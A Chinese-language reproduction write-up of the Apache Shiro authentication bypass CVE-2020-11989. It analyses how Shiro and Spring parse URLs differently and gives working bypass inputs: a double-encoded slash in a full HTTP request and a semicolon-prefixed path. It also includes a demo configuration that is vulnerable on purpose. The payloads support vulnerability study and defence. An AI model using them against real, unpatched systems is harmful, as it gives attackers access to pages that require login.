(CVE-2020-11989)Apache Shiro \< 1.5.3 身份认证绕过漏洞¶
一、漏洞简介¶
二、漏洞影响¶
Apache Shiro \< 1.5.3
Spring 框架中只使用 Shiro 鉴权
三、复现过程¶
(一)双重编码绕过¶
双重编码绕过分析¶
当我们的请求进入应用后会进行第一次的url解码
%25%32%66 -> %2f
接着当进入到shiro的
org.apache.shiro.web.util.WebUtils#getPathWithinApplication
采用的是
getRequestUri
方法同时里面会调用到 decodeRequestString
进行再一次的解码。
3.jpg
%2f -> /
可以看到这里就造成了和Spring的uri处理不一致的问题,也就导致了接下来的问题。
当进入到org.apache.shiro.util.AntPathMatcher#doMatch
去匹配是否符合我们之前定义的权限路由/hello/*
4.jpg
doMatch
的代码有点杂这里就不放了,感兴趣的可以自己去跟一下逻辑。简单来说就是这里可以看到path成了
/hello/a/a
,hello后有两个 /
,所以跳过了这次的判断,导致了身份验证绕过。
总结一下,当进入应用后我们的请求页面被解析成 /hello/a%2fa
,所以它可以进入到springcontroller中的 /hello/{name}
,
但是因为shiro再次做了url解码,导致判断的uri成为了 /hello/a/a
它不属于我们配置的权限判断地址 /hello/*
。
因此造成了绕过,核心原理可以归因为是shiro与spring对RFC标准实现的差异导致(实际上就是shiro实现错了)。
双重编码绕过复现¶
编写如下代码
@Configuration
public class ShiroConfig {
@Bean
MyRealm myRealm() {
return new MyRealm();
}
@Bean
SecurityManager securityManager() {
DefaultWebSecurityManager manager = new DefaultWebSecurityManager();
manager.setRealm(myRealm());
return manager;
}
@Bean
ShiroFilterFactoryBean shiroFilterFactoryBean() {
ShiroFilterFactoryBean bean = new ShiroFilterFactoryBean();
bean.setSecurityManager(securityManager());
bean.setLoginUrl("/login");
bean.setSuccessUrl("/index");
bean.setUnauthorizedUrl("/unauthorizedurl");
Map<String, String> map = new LinkedHashMap<>();
map.put("/hello/*", "authc");
bean.setFilterChainDefinitionMap(map);
return bean;
}
}
这里我配置了
map.put("/hello/*", "authc");
同时我编写了对应的controller像这样
@GetMapping("/hello/{name}")
public String hello(@PathVariable String name) {
return "hello";
}
以上操作代表着我通过ant风格的语法设置了去检查在访问 /hello
路由之后的一级目录的用户是否有权限。
如果你请求 /hello/aaa
那么你将会被禁止。
1.jpg
但是这里我们可以通过url双编码来绕过。
/ -> %2f ->%25%32%66
GET /hello/a%25%32%66a HTTP/1.1
Host: www.0-sec.org:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:61.0) Gecko/20100101 Firefox/61.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Upgrade-Insecure-Requests: 1
2.jpg
现在它成功了
当然这个漏洞需要一些限制条件,首先权限ant风格的配置需要是 *
而不是
**
,同时controller需要接收的request参数(\@PathVariable)的类型需要是String,否则将会出错。
(二)分号绕过¶
分号绕过分析¶
由于Shiro的权限校验是通过判断 URL 匹配来做的,如果能找到 Shiro 获取的 URL 与 Web 框架处理 URL 不一致的情况就能造成权限绕过。Shiro 中对于 URL 的获取及匹配在
org.apache.shiro.web.filter.mgt.PathMatchingFilterChainResolver#getChain
以访问 /;/test/admin/page 举例,通过 getPathWithinApplication 函数得到的路径为 /
1.png
跟入该函数的处理逻辑org.apache.shiro.web.util.WebUtils#getPathWithinApplication
2.png
可以看到 org.apache.shiro.web.util.WebUtils#getRequestUri 获取到的是 /
3.png
这里分别通过 getContextPath() getServletPath() getPathInfo() 获取并拼接得到 /;/test//admin/page ,传入后 decodeAndCleanUriString 变成了 / , org.apache.shiro.web.util.WebUtils#decodeAndCleanUriString
4.png
在 decodeAndCleanUriString ,会根据 Ascii 为 59 的字符也就是 ; 进行 URL 的截断,所以最终返回了 /
回到最开始的 /;/test/admin/page 请求,该 request 请求会进入 Spring 中, Spring 处理 URL 函数如下org.springframework.web.util.UrlPathHelper#getPathWithinServletMapping5.png
7.png
在 getPathWithinApplication 处理下是能正确获取到 context-path 与路由,最终经过 getPathWithinServletMapping 函数格式化处理后,得到最终路径为 /admin/page ,所以我们可以正常访问到该页面
6.png
因此总结来说就是当 URL 进入到 Tomcat 时, Tomcat 判断 /;test/admin/page 为 test 应用下的 /admin/page 路由,进入到 Shiro 时被 ; 截断被认作为 / ,再进入 Spring 时又被正确处理为 test 应用下的 /admin/page 路由,最后导致 Shiro 的权限绕过。
分号绕过复现¶
测试 Demo :
https://github.com/ianxtianxt/springboot-shiro
权限配置如下,其中 /admin 下的路由需要登录才能访问
@Bean
ShiroFilterFactoryBean shiroFilterFactoryBean(){
ShiroFilterFactoryBean bean = new ShiroFilterFactoryBean();
bean.setSecurityManager(securityManager());
bean.setLoginUrl("/login");
bean.setSuccessUrl("/index");
bean.setUnauthorizedUrl("/unauthorizedurl");
Map<String, String> map = new LinkedHashMap<>();
map.put("/doLogin", "anon");
map.put("/admin/*", "authc");
bean.setFilterChainDefinitionMap(map);
return bean;
}
---
@GetMapping("/admin/page")
public String admin() {
return "admin page";
}
maven 打包项目为 test.war ,部署于 Tomcat 。该漏洞成功利用存在下面两个条件
-
1.应用不能部署在根目录,也就是需要 context-path , server.servlet.context-path=/test ,如果为根目录则 context-path 为空,就会被 CVE-2020-1957 的 patch 将 URL 格式化,值得注意的是若 Shiro 版本小于 1.5.2 的话那么该条件就不需要。
b. Spring 控制器中没有另外的权限校验代码
如果直接访问 /test/admin/page
,会返回302跳转要求登录8.png
但是访问/;/test/admin/page
, 就能直接绕过 Shiro 权限验证,访问到
/admin 路由中的信息
9.png